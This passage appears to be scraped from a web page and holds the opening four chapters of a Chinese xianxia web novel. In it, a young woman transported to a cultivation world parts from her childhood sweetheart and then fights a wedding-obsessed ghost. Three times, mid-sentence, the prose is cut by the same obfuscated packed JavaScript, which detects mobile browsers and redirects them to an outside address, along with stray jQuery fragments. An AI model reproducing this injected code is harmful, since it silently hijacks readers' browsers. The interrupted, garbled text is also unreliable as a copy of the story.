《和竹马分手后》 1. 第 1 章 傍晚的河边,余晖染红了天际,孟竹停下搓洗衣裳的手,抬眼看了看越来越暗沉的夕光。 虽然是初春的时节,但入夜后会变得很冷,连河里的水也变得愈发得凉。 加快动作洗完剩下的衣裳,孟竹抱着木盆开始往回走,身边有人喊她:“诶?这么快就洗完了?” 孟竹应了一声,没走几步便碰到了个身形微胖,梳着妇人发髻的人,这里的人喊她刘婶,村里的女子做些浆洗缝补的活计补贴家用,都是刘婶负责的。 “来,来,这是你今日的工钱。”她将一小叠铜板放到孟竹的手心,看着孟竹那双指节红肿的手,又从手上挎着的蓝子里拿了几个刚蒸好的熟土豆用油纸包起来往孟竹怀里塞。 “一不小心煮多了,你拿回去吃。” 孟竹没再推辞,抬眼看着刘婶说了句:“谢谢。”说完,她也没再停顿,将衣服一放转身便走了。 她刚走出去没多远,刚刚一同在河边洗衣的女子轻声叹了口气:“这性子,确实不怎么讨人喜欢啊。” 这一带的浣衣女们早早地就打成了一片,平日里一边洗衣服一边闲聊些家常,只有孟竹,从来都是沉默寡言,只埋头洗自己的衣服,活一干完立马就走,和这里的人显得格格不入。 最开始的时候刘婶也不喜欢她,嘴又不甜,性子又冷淡,因此对孟竹也多有刁难。 可谁知有一天,她家里的小儿子不知怎么从山上摔了下去,找了整整一天了都没找到,等到入夜了,一家人坐在桌边抹着眼泪时,门被叩响了。 一开门,便看到月色下,孟竹背着已经睡过去的孩子站在门外,一家人还没说两句感谢的话,她便摆了摆手,一句话没说就离开了。 刘婶看着那渐渐走远的身影,细瘦的肩膀在夕阳的余晖下显得格外伶仃,她也不由得叹了口气,道:“她……也是难啊。” “平常能照应着点,都多关照关照吧。” - 孟竹揣着一兜热土豆,将它们贴在心口防止温度过快地流失,她沿着村里的小路一直往里走,直到走到最尽头,入眼是一间破破烂烂的屋子,勉强能够遮风挡雨。 这屋子连墙壁都是用泥糊的,一到下雨天或者降温,脚底下的湿泥浸着水汽,冷得直往人骨头里钻。 她推开门迈了进去,屋里黑极了,又安静得很,显得空寂得吓人。 孟竹摸索着,用火折子点亮了桌上的油灯,豆大的灯光点亮了方寸的空间,周围还是很黑,但至少不是伸手不见五指了。 视线绕着屋子环视了一圈,屋里的陈设非常简单,除了面前这张桌子,还有两张用木头搭起来的矮床,几乎可以用家徒四壁来形容。 意料之中,霍予并没有回来。 霍予是从小和孟竹一起长大的,那时候霍予还是个小不点儿,从小胆子就小,说话文文静静的,长得又白净好看,被不少人当成了小姑娘,但这种性格上了小学开始,就会被年纪大一些的男孩子欺负取笑,更有时候会被校外一些不学好的小混混堵住从他这里勒索零花钱用。 他家里条件好,父母都是商人,吃穿住行都是最好的,唯一的缺点是很少能陪着他。 孟竹的母亲是霍予家请来的做饭阿姨,他们年纪相仿,又在同一所学校读书,要说孟竹什么时候和霍予熟起来的,就是她又又又一次看到霍予被那些小混混堵在小巷子里,抿着唇,表情看起来倔强又委屈,憋着眼泪把手往兜里伸。 她实在看不过去了,蹲下身捡了一块大石头就往那些混混腿边扔,一边大喊着“警察来了”,趁着混混们慌神四散的间隙,憋住一口气拉着他跑出了人堆。 霍予跟在她身后,哭得鼻涕和眼泪都混在一起,她皱眉看着,拿出纸巾帮他擦掉,嫌弃地问:“哭得好丑,你真的是男生吗?” 孟竹把抽抽噎噎的霍予送回了家,从此身后也多了一条小尾巴。 时光晃晃荡荡地走,来到了他们的十八岁,高考结束,霍予把她带到一个废弃的天台,在漫天的烟火下对她表白。 烟火盛大而喧嚣,她却只听得到霍予的声音和他那双犹如落了星子的眼睛。 本来十八岁的这一年,他们应该拥有美好的未来,不出意外的话,重点大学的录取通知书很快就会送到手边,人生的篇章才正好到达最精彩的部分。 可就在这一晚,一辆失控的货车撞向了孟竹,最后一眼,她看到的是奋不顾身朝她跑来的霍予。 人生就是这么狗血又离谱,她和霍予一起穿越了,穿越到了这个离谱的修仙世界,一晃就是三年过去了。 当然修仙这事同她和霍予都没关系,因为在这个世界中,仙洲和凡界之人生活在不同的两个大陆,听说只有那些极有天赋的,才会被仙洲十年一次的遴选选入学府。 她和霍予初来乍到,便一直生活在这个叫做杨柳村的地方,连吃饭和睡觉的地方都成问题,何谈那些对他们来说是天方夜谭的东西。 “咕噜”一声,肚子里发出饥饿的信号,拉回了孟竹的思绪,她垂眸看着手心里尚有余温的蒸土豆,想了想,又放在了桌子上。 还是等霍予回来一起吃吧。 又等了大概半个时辰,天已经完全黑了,孟竹起身出门,向着村外走了几里路,她脚程快,很快就来到了村口的镇子上。 白天热闹的市集此刻都已经收摊了,街道上零零散散地走着几个晚归的人,她脚步不停,熟练地从巷子里穿过,来到最后面的一间酒铺。 掌柜嗑着瓜子,见怪不怪地冲她扬了扬下巴,孟竹顺着那个方向找到了缩在桌子底下,烂醉如泥的霍予。 刺鼻的酒味扑面而来,呛得她眉头一皱,她将霍予一把捞了起来,又向上掂了掂,稳稳地背在背上。 酒铺里此刻已经不剩什么人了,因此有些什么动静也听得格外清楚,掌柜侧目看过去,少女细瘦的肩膀被压得微微弯了下去,两只细细的手臂托住男子的大腿,因为男子的身量高大,对比十分鲜明,看起来下一刻那双手臂就会被压断似的,但她的脸上并没有什么多余的表情,唇微抿着,因为出汗,脸上粘了几缕发丝。 他看见原本已经瘫在地上好久不动的男人将头埋在少女的脖子里,有一种类似哽咽的声音传了出来,很快又低得听不清了。 当然,也有可能是他听错了。 这已经不是他第一次看到这一对奇怪的人了,他这里卖的酒是市面上最廉价的烈酒,不好喝,但便宜又容易上头,有些力夫为了解乏就会来这里喝上几口,唯有这个男子,每次喝酒一定会喝到醉,然后动也不动地倒在店里,等店里快要打烊了,就会被这样一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840284|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘背回去。 孟竹背着霍予,在乡间的路上慢慢悠悠地走着,身后的人似乎睡着了,脑袋耷在她的肩上,眼见就要往下滑落,孟竹身后的手臂紧了紧,托着霍予的腿往上掂了掂,以便让他睡得平稳些。 路过的有几位眼熟的村民,看着这幅景象撇了撇嘴,虽说已经见了很多次,但还是有些不适应。 好不容易将霍予扔回床上,身上已经出了不少的热汗,她转身去灶台边上烧了一锅热水,先用了一小部分热水混合着井水将自己的身上擦擦干净,又将大半剩下的水倒在盆里,端着盆走进屋里的时候,霍予已经醒了。 听到孟竹的脚步声,霍予转过脸来,面无表情地看着她。 “醒了?”孟竹放下木盆,拧干手中布巾,开始帮他擦拭。 霍予一动不动,垂眸凝视着孟竹攥着那方布巾,带着湿热的温度擦拭着他的额头、眼角、嘴唇、脖颈,每一个地方都被她细细地擦过,又在热水里洗了几次,最后才来擦他的手心。 那双曾经拿着画笔的手,此刻手心已经布满了厚厚的茧子。 孟竹准备收手的时候,霍予的手心向上抬了抬,拉住了她。 他捏着孟竹手指,轻轻地摩挲着上面已经反复多次的冻疮,轻声开口:“小竹,我又做梦了。” 孟竹应了一声,“嗯,梦见什么了?” “我梦见我们回家了,走在大学的校园里,我背着画板,我们去满世界采风,我能画出每一个你笑起来的瞬间。” “可梦醒了,我又看不见你笑了。” 霍予坐起身,扯了扯唇角,又问她:“你是不是也觉得这样的生活难以忍受?” 孟竹看着他摇了摇头,她的眼睛弯起,嘴角抿开一个浅浅的笑,唇角的梨涡晃得他眼睛生疼。 她其实不常笑,脸上的表情总是很寡淡,有时候性子太冷,会莫名显得很凶,但是她一旦笑起来,又让人觉得格外柔软。 霍予的视线偏到一旁,不再看她。 他看着窗外的月亮,神色中带着些茫然:“这段时间,我总是在做梦,有时候,我甚至已经分不清这三年来,究竟是梦还是现实。” 霍予喝醉后其实很少和她说话,这三年以来,他们之间越来越沉默,这可能是第一次,霍予醉酒后同她说这么多话。 他总是天马行空的,脑子里好像有很多浪漫又不切实际的想法,这让霍予比她更加难以忍受穿越后带来的生活落差。 孟竹回握住他的掌心,“别怕,会回去的。” “是吗……”他忽然转过头笑起来,“我们这三年,有获得任何有用的信息吗?” 他的脸上带着讥讽,“这样的日子,也能看得到明天吗?” 孟竹没有说话,视线往下,他的肩膀处是她新缝上去的补丁,她捏了捏霍予的手指,又像哄孩子一样在他发顶上揉了揉,温声道:“很晚了……快睡吧,再等两天,就给你买身新衣服。” 霍予没说话,桌上的烛火很暗,这间屋子里,不管是白天还是晚上,总是那么黑。 交错的掌心上,一滴滚烫的泪水落了下来,霍予低着头,她看不清他脸上的表情。 只听到他低哑的声音在室内响起。 “孟竹,你总是这样……” “没劲透了。” 2. 第 2 章 翌日清晨。 天才刚亮没多久,孟竹就已经醒了,拉开两张床之间隔着的布帘,才发现隔壁那张床上的人早已收拾好出门了。 她摸了摸被褥的温度,是凉的,看起来已经走了好一阵子了。 桌子上的土豆没动过,已经变得又冷又硬。 这些时日,霍予都比她出门更早,却更晚回来。 孟竹背上背篓正准备出门,随手抓起桌子上的土豆咬了一口,脸上的表情有几分微妙,然后抻长了脖子把嘴里的东西咽了下去。 这东西冷了以后更难吃,但很顶饱。 孟竹早上会来村口的市集卖菜,她在山上自己垦了一小片荒田,不大,只能种些时令的蔬菜,她和霍予两个人吃不完,剩下的就会拿来早市上卖。 日子虽然清贫,但也不至于饿死,有时候攒上一个月的钱,还能吃上一两回肉。 当然,要是霍予不喝酒的话,他们的生活应该能过得更好,毕竟酒钱是她家里的开销大头。 来到了市集口,孟竹才发现,今日的人比往常都要多得多,镇上最好的客栈前面已经是人满为患,纷纷挤在大门口探着脑袋议论着什么。 她租不起专门的摊位,都是用布铺在地上来卖的,人多的时候,就会像现在这样没办法卖东西。 耳边的讨论声一声比一声大。 “这些人是仙洲来的吗?” “仙洲的人怎么会到咱们这种地方来?” “这我哪里知道啊,只听说这次来的人可厉害了,是个大人物呢!” 孟竹攥在背篓上的手紧了紧,往人群中心靠得更近了些,也许这次会听到些有用的消息。 客栈的大门前站着一群仙洲弟子,他们个个身着华裳,衣带飘飘,看起来仙气凛然,每一个人都散发着和这里格格不入的气息。 往里再看时,那一抹熟悉的身影令她愣了一下。 是霍予。 霍予今日换了一身新衣服,虽然还是一身布衣,但已经和平日里截然不同了,他脸上那些青色的胡渣不知什么时候刮得干干净净,头发用一根布带高高束了起来,露出了干净的、轮廓清晰的侧脸。 他的手中执笔,凝望着对面穿着华服的少女,垂眸落笔时,嘴角带着自信又从容的笑意。 她已经很久很久没有见到过这样的霍予了。 手臂被人轻轻推了一下,孟竹回过神,是那间酒铺的老板,他也来凑热闹了。 “诶?这是不是……是不是你那经常背回去的夫君?” 见孟竹不说话,他又摸了摸下巴,感叹道:“人不可貌相啊,平时看不出来,你这夫君生得这么俊啊,你不知道吧,听说这个小公主正在挑选画师为她画一幅画像,如果能入得了她的眼,便可以一步登天,得到仙洲的名额了。” “没想到这个醉汉,还有这等手艺呢!” 夫君吗?孟竹在心里念了一遍这个词,她和霍予算得上夫妻吗? 在外人眼中看来,他们两人同吃同住,的确是夫妻的相处方式,可是只有两个人自己知道,自从穿越后,他们之间的感情好像就变得不一样了。 霍予再也没有对她说过喜欢,两个人仅有的一次亲吻,还是在十八岁的那个夏天。 孟竹静静地望着客栈里坐在桌边浅笑的少女,她穿着一身月白的织金长裙,鬓间的钗环和流苏随着她的动作轻轻摇动,连指甲都透着莹润的粉色,她看着正在为自己画像的霍予,眼神既大胆又热烈,耳尖带着点微红。 她太熟悉这样的眼神了,在那个世界里,霍予的身边从来不缺乏这样热情的女孩,孟竹从不担心霍予会离开自己。 孟竹静静地等着霍予像从前那样,微微绷着下颌偏开视线,冷淡地说出一句“抱歉。” 她正想开口喊霍予的名字,然后在下一秒,感觉全身的血液都凉透了。 霍予迎着那少女的视线,嘴角弯起了一抹熟悉又温柔的弧度。 手指上的冻疮忽然变得又热又痒,她低头看了一眼,指头的关节粗大红肿,掌心一层厚厚的茧,身上的布衣落满了补丁。 孟竹用手勾了勾肩上的背带,一声不吭地退出了人群。 - 霍予回到家的时候,太阳还没落山,天边罩着一层红霞,流光溢彩。 他抬眼望着天边的余晖,似乎已经很久没有在这样的天色中回家了。 回家。 霍予站在栅栏外,望着这一间破败的草屋,这是他和孟竹的家,这样一个又破又穷的地方,他和孟竹生活了三年。 这种地方,也能称之为家么? 他在外面站了一会儿,才推门进去。 进门的时候,屋里到处都是饭菜的香味,孟竹正站在灶台前烧火,听见动静,回头冲他笑了一下。 “回来啦,还有最后一个菜,马上就吃饭了。” 小小的一面方桌上,罕见地摆满了四个菜,有荤有素,看菜色,都是他爱吃的,还冒着腾腾的热气。 霍予站在桌前,像被施了法一样一动不动。 没过一会儿,孟竹便端了一碗汤走进来,放在桌子上,她赶紧捏了捏自己的耳朵,说:“好烫。” 她盛了满满一碗饭放到霍予面前,拍了拍霍予的肩膀,道:“坐,别愣着,一会儿饭菜凉了。” 霍予坐了下来,握着筷子却始终没动。 “今天是什么日子?” 他想了想,“不是你的生日,也不是我的生日。” 孟竹头也没抬地回:“怎么?不是生日就不能吃好吃的了?” 霍予沉默了一瞬,放下筷子,摸着怀里还热着的纸包,掏出来递给孟竹:“我给你带了街上的羊肉饼,刚出锅的,你不是一直想吃吗?” 每次上街,孟竹都会在那个铺子前站一会儿,却从来不会买,但是霍予的视线在哪里多停留了一会儿,这样东西或早或晚,都会被买下,然后在一个不经意的瞬间出现在他的眼前。 霍予不一样,父母不常陪伴他,大概是出于愧疚,在金钱方面都是尽全力满足他,以至于他花起钱来向来没什么数,喜欢什么便做什么,自由自在,他更像一个被保护地很好的,温室中的花朵。 异想天开,天真烂漫。 他受不了孟竹总是数着铜板过日子的模样,受不了她总是一副波澜不惊的样子。 更受不了她用那双粗肿的双手,为他买东西的样子。 生活不该是这样的。 是孟竹杀死了他对生活的幻想。 她总是这样无趣,不管他做什么,她好像都不会感到欣喜或是意外,她的嘴里从来没说出过喜欢或者是爱。 油纸包被接过去,孟竹咬了一口,眼睛弯起来:“真的很好吃,可是今天我做了很多菜,我想留着明天再吃。” 说着,她将肉饼包好放到一旁,又将汤里卧着的一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840285|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷包蛋夹到霍予的碗里。 霍予捏着筷子,就着鸡蛋往嘴里扒了一大口饭,咽下去的时候,觉得嗓子被堵得生疼。 喝了一大口水,用力把食物往下顺。 “我……” 他刚起了个头,孟竹就一边给他夹菜,一边问:“什么时候走?” “……什么?” 霍予动了动唇,好半天才找回自己的声音:“你都知道了。” “嗯。” 面前的人很平静,连筷子都没有停顿一下,她总是这样,仿佛什么事都进不到她心里。 那些进门前的愧意、心慌还有忐忑和自责,在这一刻都化为了愤怒和羞恼。 “啪”的一声,霍予面前的碗被他用力砸了地上。 他眼眶通红地站起身,质问她:“看我在这里忐忑不安,还想着编什么理由才能让你不难过,你觉得很好笑是吗?” 他站在一地的碎片中,几乎是有些歇斯底里。 “我问你,你是不是觉得我像个小丑,很不堪啊?” 孟竹放下筷子,抬起头看着他:“你要走,去更好的地方,我支持你,不好吗?” “哈哈……”霍予忽然笑了笑,泪水从那双通红的眼眶里掉了下来:“孟竹,你是不是觉得这世界上就你一个人最清醒最厉害,永远自以为是,觉得自己很了不起是吗?” “是不是,无论我做什么,在你眼里都很幼稚?”他伸手扣住她的肩膀,咬着牙,声音抖得厉害:“你他妈把我当什么?你又不是我妈!” “砰——” 拳头狠狠地落了下来,霍予的头被打得偏向一旁,他愣了,转过脸来看着孟竹。 孟竹抿着唇,那双黑而亮的眸子里,清晰透彻地倒映出他的影子,这是十年以来,孟竹第一次打他。 他还记得孟竹第一次和别人打架时,是刚上初中的时候,有人故意捉弄他,把他骗到荒山上,孟竹不知道从哪里找到他的,最后冲到隔壁学校,像只暴怒的小兽一样把那个捉弄他的男生揍了个鼻青脸肿。 孟竹脸上经常没什么表情,和男生打架全凭着一股狠劲儿,力气也是出奇得大,从那次以后,霍予身边就再也没人敢捉弄他了。 他从没想过,孟竹的拳头会落到他的身上。 为什么? 她不是应该永远护着他吗? “你在放什么狗屁!”孟竹攥着拳头,很想再给这个狗崽子再来一拳,“我要是你妈,我都后悔生你!” 压抑了许多年的情绪像是突然间被引爆,恶毒伤人的话语一句接着一句。 “一天到晚做些不切实际的梦,这玩意儿能当饭吃吗?能不能实际一点,活得像个人啊?” “你都多大了,还像个小孩子一样,说得好听了是天真,说得难听了就是傻逼!” “你有意思吗?我问你,你觉得你有意思吗?” 她的胸口剧烈地起伏着,很久没有过这样激烈的情绪了,孟竹看着眼前这个她捧在手心这么多年的男人,一瞬间觉得疲惫极了。 室内一时间安静下来,只能听到彼此的呼吸声。 这是这么多年以来她和霍予的第一次争吵,也是最后一次。 本来想着好聚好散,却在互相指责和谩骂中结束了这十年的羁绊。 “霍予。”她的手撑在桌面上,声音沙哑。 “像个男人一样,别找任何借口,走吧。” 3. 第 3 章 霍予离开时,什么都没带走,他最后只沉默地看了孟竹一眼,没再说一句话。 桌子上那一桌精心准备的饭菜渐渐地冷透了,孟竹在桌边坐了很久,久到桌上的烛火摇摇晃晃,越来越小时,她才起身,将那一桌残羹冷炙收拾了,然后转身去灶房烧了一大锅热水,洗了一个久违的、畅快的热水澡。 孟竹本来以为这一夜会失眠的,结果脑袋刚刚沾到枕头就睡着了。 这一觉睡得很沉,连个梦都没有做,醒来时,天光已经大亮了。 望着空无一人的房间,孟竹还有些恍惚,这些年朝夕相伴的岁月,终究是过去了。 孟竹很快地收拾好了东西,背着自己没几样东西的包袱,站在栅栏外看了一眼这个生活了三年的茅草屋,她朝着村外走去,再没回头。 这三年里,她和霍予不是没想过攒到一些钱就离开这里,可是在这个妖魔横行的的世界里,两个普通人要想漫无目的地四海为家,难度太高。 没有修为的凡人要想出远门的话,要么是有武力高强的护卫随行,要么是花钱请在凡界历练的修士进行护送。 孟竹倒是没亲眼见过妖怪,据杨柳村的村民所说,这里虽然贫穷,但是曾经有位仙洲的修士在此处设下了阵法,可保杨柳村百年不受妖邪的侵害。 所幸距离仙洲遴选不过还有一年,他们数着日子等着这个日子的到来,却没想到霍予找到了更快、更有效地方式离开。 孟竹不想等了,她必须离开这里,她不怕死,怕的是烂在此处,永远找不到回家的路。 离开村子走了不久,周围还是一望无际的农田,正午时分,阳光照得人有些晃眼,孟竹将手放在额头上遮太阳,远远瞧见田间的小路上有一辆牛车摇摇晃晃地走在前面。 给了两块铜板,孟竹便坐上了晃晃悠悠的牛车,车上铺着厚厚的稻草,她靠在上面,不知怎地,有些昏昏欲睡。 再次醒过来时,周围一片黑暗,伸手不见五指。 孟竹刚想坐起身,头顶就被什么东西撞了一下,没有办法完全直起身来,她似乎身处在一个密闭的空间内,孟竹伸出手在黑暗中摸索着,触手是光滑冰凉的木头质感,四周狭窄,两只手臂都不能伸直,只能曲臂放在身前。 有声音自外面传了进来,孟竹屏息,听着外面的动静。 “大王,咱们这次可挑的是这十里八乡里见过最漂亮的新娘子,您看看是不是很满意?” 这话的意思,是在说她吗,孟竹想了想,自己的姿色顶多算的上是个清秀佳人,十里八乡最漂亮的,是在说谁? 难道附近还有其他和她一样被抓过来的姑娘吗? “嗯……嗯……不错。”被叫做大王的那人舒服地叹了口气,“不过……” 说着,他话音一顿,似乎抬手在她身侧敲了一下,“我方才看这里面选上来的陪嫁丫鬟,那皮肉粗糙得很,还是赏给孩子们吃吧。” 孟竹:“……” 真的这么倒霉吗?一离开杨柳村就被妖怪盯上了。 说完这话,那个大王似乎领着一群虾兵蟹将离开了,室内一时间安静下来,孟竹的头皮始终紧绷着,她不知道那些妖怪什么时候会对她动手。 “嗬……嗬……” 安静的室内陡然响起了一阵奇怪的声音,像是某种动物的喘息,被压在嗓子里,听不清具体方位,就像是立体环绕一样,从四面八方传来。 本来密闭的空间里,忽然涌入了一股湿滑黏腻的液体,顺着缝隙边缘一寸寸渗了进来。 嘀嗒—— 嘀嗒—— 有两滴甚至掉在了孟竹的脸上,她伸手去推上面挡住的盖板,却摸到了一手的滑腻。 孟竹忍着恶心,攥紧了拳头,深吸一口气,朝着上方一拳头砸了上去。 这个盖板的材质触感厚重,一拳下去只是发出了一阵巨大的响声,周围的声音忽然一停,像是有无数把利刃划破□□的声音,原来那像动物一样的低吼声瞬间化为无数的尖叫声。 那些尖叫声像是碰见了什么恐怖的东西,像婴儿一样哭了起来,在黑暗的空间内显得格外毛骨悚然。 孟竹一刻都不敢停,又是一击重拳往上砸去。 砰地一声,上方被砸出了一块大洞,久违的光线一瞬间透了进来,还来不及看清周围的环境,孟竹一个挺身从里面爬了出来。 孟竹深吸了口气,终于从憋闷的空间里出来了,还好她十岁以后力气变得奇大,究竟为什么,她自己也不知道。 总之,能徒手打倒一头牛,这个真不是吹的,要不是溜得快,她早就上了新闻头条了,保不准还会被什么奇怪的实验室拉走。 周围那些令人头皮发麻的声音不知道什么时候完全消失了,她先是低头看了看自己的手,刚刚摸到的那一手滑腻果然是血,回头又瞥了一眼刚才爬出来的地方。 哦,是个棺材。 这里似乎是一间灵堂,但是孟竹入目所见又挂满了红绸,供台上两盏红烛的光映着窗户上的大红喜字,显得格外诡异。 转过头的时候,余光瞥到了一抹红色的身影,孟竹的视线移过去,和那人四目相对。 门大开着,月色穿过云层斜斜地照进了屋子,那人手持一把长剑,细长的剑身上雕刻着繁复曲折的花纹,一路蜿蜒向上,连剑穗上悬挂的流苏都精致无比。 红烛半明半暗的光被夜风吹熄了一瞬,烛芯颤颤巍巍地摇晃几下,又重新亮了起来,照亮了少年那张昳丽卓绝的面孔,他穿着大红色的喜服,乌发顺着光洁的侧脸垂落,衬得那人的肤色莹白如玉,唇色在火光的映衬下越发红润。 在如此鬼气森森的环境下,不像是个人,倒像是个荒山野岭里趁着夜色行凶的精魅。 看着就不像什么善茬,骚包又难搞的样子。 他站在离孟竹五步之遥的地方,抬眼看人的时候,眼尾的弧度上挑着,漫不经心的视线从她身上一扫而过。 这种眼神,孟竹很熟悉了,跟之前在学校里找霍予事情,被她揍过的那个小混混头子一样,轻蔑又傲慢,居高临下地审视着她,每一寸都透露着挑衅的味道。 孟竹面无表情地盯着他,“怎么?我脸上有东西?” 说着,她朝那人走近了一步。 “滚。” 少年一挥手,一股无形的力量挟着风将孟竹击退了数米,直到撞上后面的供台发出沉闷的撞击声,后背上火辣辣地疼。 “嘶……”忍不住闷哼一声,孟竹抿着唇抬眼看他,不知道为何,第一眼见到这个人就觉得如此生厌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840286|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即,他似是有些嫌恶地拧着眉,用手捂住了鼻子,矜贵的下巴对着孟竹抬了抬,道:“你,离我远点。” 孟竹的视线落在自己的衣摆上,还是那一身布衣,但是身上沾了不少的血污和不知道是什么东西的粘液,味道有些奇怪,但是她也没觉得有多恶心,毕竟之前为了赚钱,她连猪粪都挑过。 她还没完全搞清楚状况,便听到一声暴躁的怒喝声从远处传来。 “是谁!是谁杀了我的孩子们?!” 下一秒,一阵风似的鬼影飘了进来,带着雷霆之势的掌风劈了过来,孟竹下意识地蹲下躲避,却见那个影子突然一停,像个半空中被扎破的气球一样摇晃了几下,啪地一声落到了地上。 望着站在一旁斜靠在门上的人,那男妖立刻从地上爬了起来,拍拍屁股往前靠了过去,一脸情真意切:“娘子!是什么歹人伤了孩儿们,你有没有受伤?” 说着,他又想伸手去拉人的手:“来……让为夫看……” 话还没说完,就被人一脚踹了出去,似乎还不解恨似的,又是一个飞身猛踢,孟竹望着那个在半空中飞来飞去的男妖,心情复杂。 怎么说呢,还是第一次给男人当陪嫁丫鬟,这妖怪的品味,还挺独特的。 听着耳边拳拳到肉的打击声,孟竹的视线在屋内转了一圈,吃人就吃人,还整这么多仪式。 一阵尘烟四起后,男妖不动了,但嘴巴还是很硬,还在骂人。 “你个狗杂种,敢在我喜鬼的地盘闹事,要不是看你长的漂亮,老子早晚要扒了你的……”趴在地上愤怒叫骂的妖怪停了一瞬,望着持剑狞笑着朝他走过来的人,又闭上了嘴。 少年的手腕微抬,剑尖堪堪落在喜鬼的眉心。 他笑着倾身,眼角眉梢的戾气横生,语气带着浓重的厌恶:“见到我,不想着跑,还敢往我身上贴,我看你真是活腻了。” 喜鬼感受到眼前的人的杀意,趴伏的身躯抖得更厉害了,嘴也不硬了,开始求饶:“仙君饶命,我错了我错了,饶小的一命吧……” 话虽是这么说,一直攥成拳的掌心忽然散开,孟竹眼睁睁地望着那摊开的掌心里,冒出了一个粉色的…… 粉色的爱心泡泡? 少年显然也被这东西弄得愣了一秒,抬手就是一剑,却不料那东西瞬间一散,化为粉色的烟雾钻进了少年的心口。 孟竹的颈边一凉,喜鬼的手指顺着她的肩膀攀了上来,五指成爪扣在她的命门,粗哑难听的笑声在她耳边响了起来:“哈哈哈哈哈哈哈……不过如此!不过如此!中了我喜鬼的摄魂咒,还不是任我消遣!” “我要亲眼看着你和这个丫鬟自相残杀,等我玩够了……然后我们继续准备洞房……嘿嘿……” 看出来了,这是个荤素不忌的老色批,被打了个半死还惦记着洞房的事呢。 孟竹余光瞥见他另一只手的掌心里握着一颗粉红色的珠子,问他:“这是什么?” “哦……”喜鬼看她一眼,或许是觉得自己已经胜券在握了,好心解释道:“告诉你也无妨,等摄魂珠……” 他话还没说完,孟竹便猛地反手一肘,转身一记重拳砸在喜鬼脸上,然后顺手一把捞过滚落在地上的摄魂珠。 砰地一声捏爆了。 4. 第 4 章 在喜鬼目瞪口呆的视线中,孟竹转身,拍了拍手上的碎屑,趁着喜鬼还没完全反应过来,提着他的领子,对着他的脸又是一顿重拳出击。 喜鬼本来刚才就已经被少年打得出气多进气少了,又被孟竹这几拳砸下来,整个人还没回神,便看到红色的身影一闪而过,少年提着喜鬼的领子一阵风似的消失在了门口。 离开之前,孟竹还记得少年看她的眼神,似乎恨不得从她脸上剜下一块肉来,但是他的眼尾泛红,一双眼睛里带着盈盈水光,又像是含嗔带怨,说不出的诡异。 神经病。 - 月色下,荒野中。 喜鬼被吊在树上,长长的头发散了下来,露出一张惨白的脸,远远一看,胆子小的人便会被吓失了魂。 少年漫不经心地靠在一旁的石头上,手中捏着一张符纸,另一只手两指并拢,顺着他的手势,喜鬼便像一根面条一样挂在树上被甩来甩去,时不时还像个风车一样转上几圈。 如果忽视少年那一脸的眼泪和时不时吸一下鼻子的话,看起来确实气定神闲。 “饶命……我要吐了……” 喜鬼气息奄奄,声音都变得微弱起来。 “我再问你一遍,摄魂咒怎么解?”少年面无表情地流着泪,指着自己脸上的泪水:“你告诉我,这是什么东西?” 喜鬼晃了几下,在半空中停了下来,他忍着腹中翻墙倒海的恶心,虚虚喘了口气道:“本来……本来是能解的,用摄魂珠就能解,现在摄魂珠被那个女人捏爆了,这东西本就是魅妖一族的圣物,要想解开,只能去丽山找到魅妖一族的长老,不然你就是把我杀了,我也解不了这摄魂咒。” “还有,在摄魂咒完全生效之前,必须紧握摄魂珠,她把摄魂珠从我手上夺走,最后关头魂主就变成了那个女人。” “中了摄魂咒的人,不能离开魂主超过一定距离,否则就会因为思念肝肠寸断、痛不欲生,诶对对,就像你现在这样……” 迎着少年杀人一样的视线,喜鬼望着那张脸,不自觉地咽了咽口水,“只要见到魂主,就会一直想要看她,想要靠近她,想要……” “哈……”少年忽然短促地笑了一声,感受着心里一抽一抽的痛楚,道:“我若杀了那个蛮牛一样的女人呢?” “害,办不到的。”喜鬼摆了摆手,凑近瞧了瞧,道:“你看你现在整张脸都在抽搐了。” “你连说想要杀她的话你都心痛成这样了,真到了人家面前,还不是变成一只软绵绵的小白兔,任她搓……咳咳咳……” 盯着少年重新并拢的两指,喜鬼将剩下的话吞进了肚子里。 少年沉思片刻,在掌心画了个符,掌中金印闪烁,滑入喜鬼的眉心,一瞬间,喜鬼从树上掉了下来,扬起了一地的尘土。 再站起身的时候,方才那青白的一张鬼脸和披头散发的样子瞬间消失不见,映入眼帘的竟然是一个风度翩翩的俊俏郎君。 喜鬼从怀里掏了块铜镜照了照了照,瞪大了眼睛感慨道:“牛逼啊!” 